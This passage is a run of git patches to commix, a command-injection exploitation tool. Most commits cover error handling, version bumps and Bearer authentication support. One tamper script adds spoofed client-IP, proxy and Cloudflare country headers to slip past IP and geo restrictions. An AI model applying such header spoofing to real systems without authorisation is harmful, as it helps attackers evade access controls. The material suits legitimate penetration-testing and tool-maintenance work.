95373e7d1adafff8807aa91ce5aee83bd5779beb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 13 Apr 2023 10:23:49 +0300 Subject: [PATCH 290/560] Fixes https://github.com/commixproject/commix/issues/822 --- src/core/injections/controller/checks.py | 5 ++++- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index eb3a69a7f2..457be0089c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -536,9 +536,12 @@ def check_connection(url): if not settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) raise SystemExit() - except socket.error as err: + except socket.error: err_msg = "Problem occurred while " err_msg += "resolving a host name '" + hostname + "'" + except UnicodeError: + err_msg = "Problem occurred while " + err_msg += "handling a host name '" + hostname + "'" if not settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 745f21ffe1..7463ec94f1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a7cf112dfe2195569ec19c94651ecdfb3aaf31c5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 20 Apr 2023 09:11:45 +0300 Subject: [PATCH 291/560] Minor update --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 457be0089c..5d3c61561c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -884,7 +884,7 @@ def check_http_s(url): print(settings.print_critical_msg(err_msg)) raise SystemExit() except ValueError as err: - err_msg = "Invalid target URL has been given." + err_msg = "Problem occurred while parsing target URL." print(settings.print_critical_msg(err_msg)) raise SystemExit() return url diff --git a/src/utils/settings.py b/src/utils/settings.py index 7463ec94f1..275626c5f5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 46d5ab7adbf4bfc77cbf755c43494fed94858e1a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 23 Apr 2023 11:02:55 +0300 Subject: [PATCH 292/560] Fixes https://github.com/commixproject/commix/issues/826 --- src/core/requests/authentication.py | 18 +++++------------- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 14 deletions(-) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 2c8bd55d3f..038ad3efbc 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -45,7 +45,6 @@ def authentication_process(): #cj = cookielib.CookieJar() cj = _http_cookiejar.CookieJar() opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj)) - # request = opener.open(_urllib.request.Request(auth_url)) cookies = "" for cookie in cj: cookie_values = cookie.name + "=" + cookie.value + "; " @@ -57,21 +56,14 @@ def authentication_process(): info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." print(settings.print_bold_info_msg(info_msg)) _urllib.request.install_opener(opener) - request = _urllib.request.Request(auth_url, auth_data) + request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) - #headers.check_http_traffic(request) # Get the response of the request. - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - - except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + + except Exception as err_msg: + checks.connection_exceptions(err_msg) """ Define the HTTP authentication diff --git a/src/utils/settings.py b/src/utils/settings.py index 275626c5f5..19dae5c492 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ae94360c033dfde5016d4912bb8d7f9dd74a310e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 4 May 2023 12:01:50 +0300 Subject: [PATCH 293/560] Possible fix for https://github.com/commixproject/commix/issues/830 --- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index a84262ea73..09f789e2ca 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -191,7 +191,7 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (SocketError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if not settings.MULTI_TARGETS and not settings.CRAWLING: pass else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 19dae5c492..e10f942da0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c464acb00634d3b86a7a6e55ffdf469507296692 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 15 May 2023 09:09:37 +0300 Subject: [PATCH 294/560] Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. --- doc/CHANGELOG.md | 1 + src/core/main.py | 5 ++++- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 28e42d294c..403f8665f2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. * Added: New option `--alert` to run host OS command(s) when injection point is found. diff --git a/src/core/main.py b/src/core/main.py index 8b3d82a93c..d18fd115b9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -385,7 +385,10 @@ def main(filename, url): pass menu.options.tech = ''.join(menu.options.tech) else: - menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + if not menu.options.tech: + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + else: + settings.USER_SUPPLIED_TECHNIQUE = True # Check for skipping injection techniques. if menu.options.skip_tech: diff --git a/src/utils/settings.py b/src/utils/settings.py index e10f942da0..0520b792e5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 51c1d46b4630008b1d913b4d5d0bcdd1f50b6830 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 16 May 2023 19:10:30 +0300 Subject: [PATCH 295/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/c464acb00634d3b86a7a6e55ffdf469507296692 --- src/core/main.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index d18fd115b9..b873bf5545 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -395,7 +395,7 @@ def main(filename, url): # Convert injection technique(s) to lowercase menu.options.skip_tech = menu.options.skip_tech.lower() settings.SKIP_TECHNIQUES = True - if menu.options.tech: + if settings.USER_SUPPLIED_TECHNIQUE: err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0520b792e5..c82df1a516 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 632f3faf68de5b4eed4d26f144228b9b5de9a366 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 18 May 2023 08:53:29 +0300 Subject: [PATCH 296/560] Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). --- doc/CHANGELOG.md | 3 ++- src/core/injections/controller/checks.py | 5 +++++ src/core/requests/headers.py | 2 +- src/core/tamper/xforwardedfor.py | 15 ++++++++++++--- src/utils/settings.py | 2 +- 5 files changed, 21 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 403f8665f2..16f3e8d176 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). * Revised: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. * Added: New option `--alert` to run host OS command(s) when injection point is found. @@ -163,7 +164,7 @@ * Revised: Minor improvement regarding merging of tamper script arguments. * Revised: Minor improvement regarding ignoring the parameter(s) that carrying anti-CSRF token(s) in all scanning attempts. * Updated: Beautiful Soup (third party) module has been updated. -* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header 'X-Forwarded-For'. +* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header `X-Forwarded-For`. * Fixed: Minor bug-fix regarding loading tamper scripts. * Revised: Minor improvement regarding "INJECT_HERE" tag (i.e. declaring injection position) to be case insensitive. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 5d3c61561c..40b40502ae 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1496,6 +1496,11 @@ def check_for_stored_tamper(payload): Perform payload modification """ def perform_payload_modification(payload): + + for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + if extra_http_headers == "xforwardedfor": + from src.core.tamper import xforwardedfor + for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # printf to echo (for ascii to dec) if encode_type == 'printf2echo': diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 09f789e2ca..1dddd75ed3 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -292,7 +292,7 @@ def do_check(request): if not (menu.options.requestfile or menu.options.logfile): request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) - # Appends a fake HTTP header 'X-Forwarded-For' + # Appends a fake HTTP header 'X-Forwarded-For' (and alike) if settings.TAMPER_SCRIPTS["xforwardedfor"]: from src.core.tamper import xforwardedfor xforwardedfor.tamper(request) diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 202413574a..62953c089b 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -13,26 +13,35 @@ For more see the file 'readme/COPYING' for copying permission. """ +import random from random import sample from src.utils import settings from src.core.compat import xrange """ -About: Appends a fake HTTP header 'X-Forwarded-For'. +About: Append a fake HTTP header 'X-Forwarded-For' (and alike). """ __tamper__ = "xforwardedfor" -settings.TAMPER_SCRIPTS[__tamper__] = True +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + def tamper(request): def randomIP(): numbers = [] while not numbers or numbers[0] in (10, 172, 192): numbers = sample(xrange(1, 255), 4) return '.'.join(str(_) for _ in numbers) - request.add_header('X-Forwarded-For', randomIP()) request.add_header('X-Client-Ip', randomIP()) request.add_header('X-Real-Ip', randomIP()) + request.add_header('CF-Connecting-IP', randomIP()) + request.add_header('True-Client-IP', randomIP()) + # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection + request.add_header('Via', '1.1 Chrome-Compression-Proxy') + # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 + request.add_header('CF-IPCountry', random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]) + # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index c82df1a516..5c13b2bc9b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 504631ec3c849d26b2827aa8b4525984566b880c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 19 May 2023 14:11:59 +0300 Subject: [PATCH 297/560] Fixes https://github.com/commixproject/commix/issues/835 --- src/core/injections/controller/checks.py | 7 ++++--- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 40b40502ae..c3c12239a3 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -357,9 +357,10 @@ def PCRE_e_modifier(parameter, http_request_method): """ def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): - info_msg = "Ignoring the parameter '" + parameter.split("=")[0] - info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." - print(settings.print_info_msg(info_msg)) + if (len(parameter.split("="))) == 2: + info_msg = "Ignoring the parameter '" + parameter.split("=")[0] + info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." + print(settings.print_info_msg(info_msg)) return True """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 5c13b2bc9b..bbe79acec1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3d46a150a995382720085e248da889cf15850994 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 20 May 2023 09:23:09 +0300 Subject: [PATCH 298/560] Minor update --- src/core/injections/controller/checks.py | 5 +++-- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c3c12239a3..2119eb13ab 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -368,8 +368,9 @@ def ignore_anticsrf_parameter(parameter): """ def ignore_google_analytics_cookie(cookie): if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): - info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." - print(settings.print_info_msg(info_msg)) + if (len(cookie.split("="))) == 2: + info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." + print(settings.print_info_msg(info_msg)) return True """ diff --git a/src/utils/settings.py b/src/utils/settings.py index bbe79acec1..ec60624e29 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5b49c0794fe7f684b2c8c0516bd6512d688f059c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 22 May 2023 08:39:34 +0300 Subject: [PATCH 299/560] Potential fix for https://github.com/commixproject/commix/issues/834 --- src/core/requests/headers.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 1dddd75ed3..2b9794a7a1 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -137,7 +137,7 @@ def http_open(self, req): self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).http_open(req) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) def https_open(self, req): @@ -145,7 +145,7 @@ def https_open(self, req): self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).https_open(req) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) opener = _urllib.request.build_opener(connection_handler()) @@ -191,7 +191,7 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if not settings.MULTI_TARGETS and not settings.CRAWLING: pass else: diff --git a/src/utils/settings.py b/src/utils/settings.py index ec60624e29..2d3def9c2e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5189705a479e1a77a34ba2d6d9d25d0127d60f72 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 23 May 2023 07:45:23 +0300 Subject: [PATCH 300/560] Fixes https://github.com/commixproject/commix/issues/836 --- src/core/main.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index b873bf5545..1397095913 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -705,7 +705,7 @@ def main(filename, url): break message = "Enter POST data (--data) [Enter for none] > " if settings.STDIN_PARSING or menu.options.data: - print(settings.print_message(message + menu.options.data)) + print(settings.print_message(message + str(menu.options.data))) else: menu.options.data = common.read_input(message, default=None, check_batch=True) if menu.options.data is not None and len(menu.options.data) == 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 2d3def9c2e..1ac93515d2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9fe7157f88741426b84d3b96bf6489c70235689d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 24 May 2023 08:41:28 +0300 Subject: [PATCH 301/560] Potential fix for https://github.com/commixproject/commix/issues/837 --- src/core/main.py | 7 +++++++ src/utils/settings.py | 5 ++++- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 1397095913..1dfe304b47 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -672,6 +672,13 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() + if menu.options.auth_cred and menu.options.auth_type: + if not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): + error_msg = "HTTP " + str(menu.options.auth_type) + error_msg += " authentication credentials value must be in format 'username:password'." + print(settings.print_critical_msg(error_msg)) + raise SystemExit() + if menu.options.requestfile and menu.options.url: err_msg = "The '-r' option is incompatible with option '-u' ('--url')." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 1ac93515d2..980805a243 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -279,6 +279,9 @@ def sys_argv_errors(): # Proxy PROXY_REGEX = r"((http[^:]*)://)?([\w\-.]+):(\d+)" +# Auth Credentials format +AUTH_CRED_REGEX = r"^(.*?):(.*?)$" + # Inject Tag INJECT_TAG = "INJECT_HERE" INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" From a336e04330c25738473ef329443feaa8eadd98df Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 27 May 2023 08:29:27 +0300 Subject: [PATCH 302/560] Added support for "Bearer" HTTP authentication type. --- doc/CHANGELOG.md | 1 + src/core/main.py | 25 +++++++++++++++---------- src/core/requests/headers.py | 15 ++++++++------- src/core/requests/requests.py | 1 - src/utils/menu.py | 2 +- src/utils/settings.py | 4 ++-- 6 files changed, 27 insertions(+), 21 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 16f3e8d176..47b6cfc3d5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Added: Support for "Bearer" HTTP authentication type. * Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). * Revised: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. diff --git a/src/core/main.py b/src/core/main.py index 1dfe304b47..1b1c0a6900 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -192,10 +192,13 @@ def init_request(url): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) - # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : - debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type - debug_msg += " HTTP authentication credentials." + if menu.options.auth_type.lower() in ("basic", "digest"): + _ = "credentials" + else: + _ = "token" + debug_msg = "Using '" + menu.options.auth_cred + "' " + _ + " for, " + menu.options.auth_type + debug_msg += " HTTP authentication." print(settings.print_debug_msg(debug_msg)) if menu.options.proxy: proxy.do_check() @@ -463,13 +466,15 @@ def main(filename, url): # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_type: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Used a valid pair of " + menu.options.auth_type - debug_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." - print(settings.print_bold_debug_msg(debug_msg)) + if len(menu.options.auth_cred.split(":")) == 2: + username = menu.options.auth_cred.split(":")[0] + password = menu.options.auth_cred.split(":")[1] + else: + username = "" + password = menu.options.auth_cred session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ - admin_panel=url, username=menu.options.auth_cred.split(":")[0], \ - password=menu.options.auth_cred.split(":")[1] + admin_panel=url, username=username, \ + password=password ) try: if menu.options.flush_session: @@ -673,7 +678,7 @@ def main(filename, url): raise SystemExit() if menu.options.auth_cred and menu.options.auth_type: - if not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): + if menu.options.auth_type.lower() in ("basic", "digest") and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): error_msg = "HTTP " + str(menu.options.auth_type) error_msg += " authentication credentials value must be in format 'username:password'." print(settings.print_critical_msg(error_msg)) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 2b9794a7a1..23f0bfe08c 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -298,14 +298,16 @@ def do_check(request): xforwardedfor.tamper(request) # Check if defined any HTTP Authentication credentials. - # HTTP Authentication: Basic / Digest Access Authentication. + # HTTP Authentication: Basic, Digest, Bearer Access Authentication. if menu.options.auth_cred and menu.options.auth_type: try: - settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) - if menu.options.auth_type == "basic": + settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type.lower()) + if menu.options.auth_type.lower() == "bearer": + request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) + elif menu.options.auth_type.lower() == "basic": b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') - request.add_header(settings.AUTHORIZATION, "Basic " + b64_string + "") - elif menu.options.auth_type == "digest": + request.add_header(settings.AUTHORIZATION, "Basic " + b64_string) + elif menu.options.auth_type.lower() == "digest": try: url = menu.options.url try: @@ -328,8 +330,7 @@ def do_check(request): except _urllib.error.HTTPError as e: pass except ValueError: - err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." - err_msg += " Try basic or digest HTTP authentication type." + err_msg = "HTTP authentication type value must be Basic, Digest or Bearer." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 3fef642a40..8f1d171b35 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -118,7 +118,6 @@ def estimate_response_time(url, timesec): auth_line = err.headers.get('www-authenticate', '') # Checking for authentication type name. auth_type = auth_line.split()[0] - settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower()) # Checking for the realm attribute. try: auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() diff --git a/src/utils/menu.py b/src/utils/menu.py index 2c660850f4..ad72510ffe 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -277,7 +277,7 @@ def banner(): request.add_option("--auth-type", action="store", dest="auth_type", - help="HTTP authentication type (e.g. 'Basic' or 'Digest').") + help="HTTP authentication type (Basic, Digest, Bearer).") request.add_option("--auth-cred", action="store", diff --git a/src/utils/settings.py b/src/utils/settings.py index 980805a243..9c9cc4a864 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -988,7 +988,7 @@ def sys_argv_errors(): METASPLOIT_PATH = "/usr/share/metasploit-framework/" # Supported HTTP Authentication types -SUPPORTED_HTTP_AUTH_TYPES = [ "basic", "digest" ] +SUPPORTED_HTTP_AUTH_TYPES = [ "basic", "digest", "bearer" ] # HTTP Headers HTTP_HEADERS = [ "user-agent", "referer", "host" ] From c09842d3433fdf037e40cd3dc6c7eeff47d7d5b8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 28 May 2023 09:59:44 +0300 Subject: [PATCH 303/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/a336e04330c25738473ef329443feaa8eadd98df --- src/core/injections/controller/parser.py | 4 +- src/core/main.py | 7 +-- src/core/requests/authentication.py | 4 +- src/core/requests/headers.py | 61 ++++++++++++------------ src/core/requests/requests.py | 4 +- src/utils/settings.py | 7 ++- 6 files changed, 45 insertions(+), 42 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index ed24231325..844a3043d0 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -162,9 +162,9 @@ def invalid_data(request): if re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() menu.options.auth_type = auth_provided[0].lower() - if menu.options.auth_type == "basic": + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() - elif menu.options.auth_type == "digest": + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.auth_cred: print(settings.SINGLE_WHITESPACE) err_msg 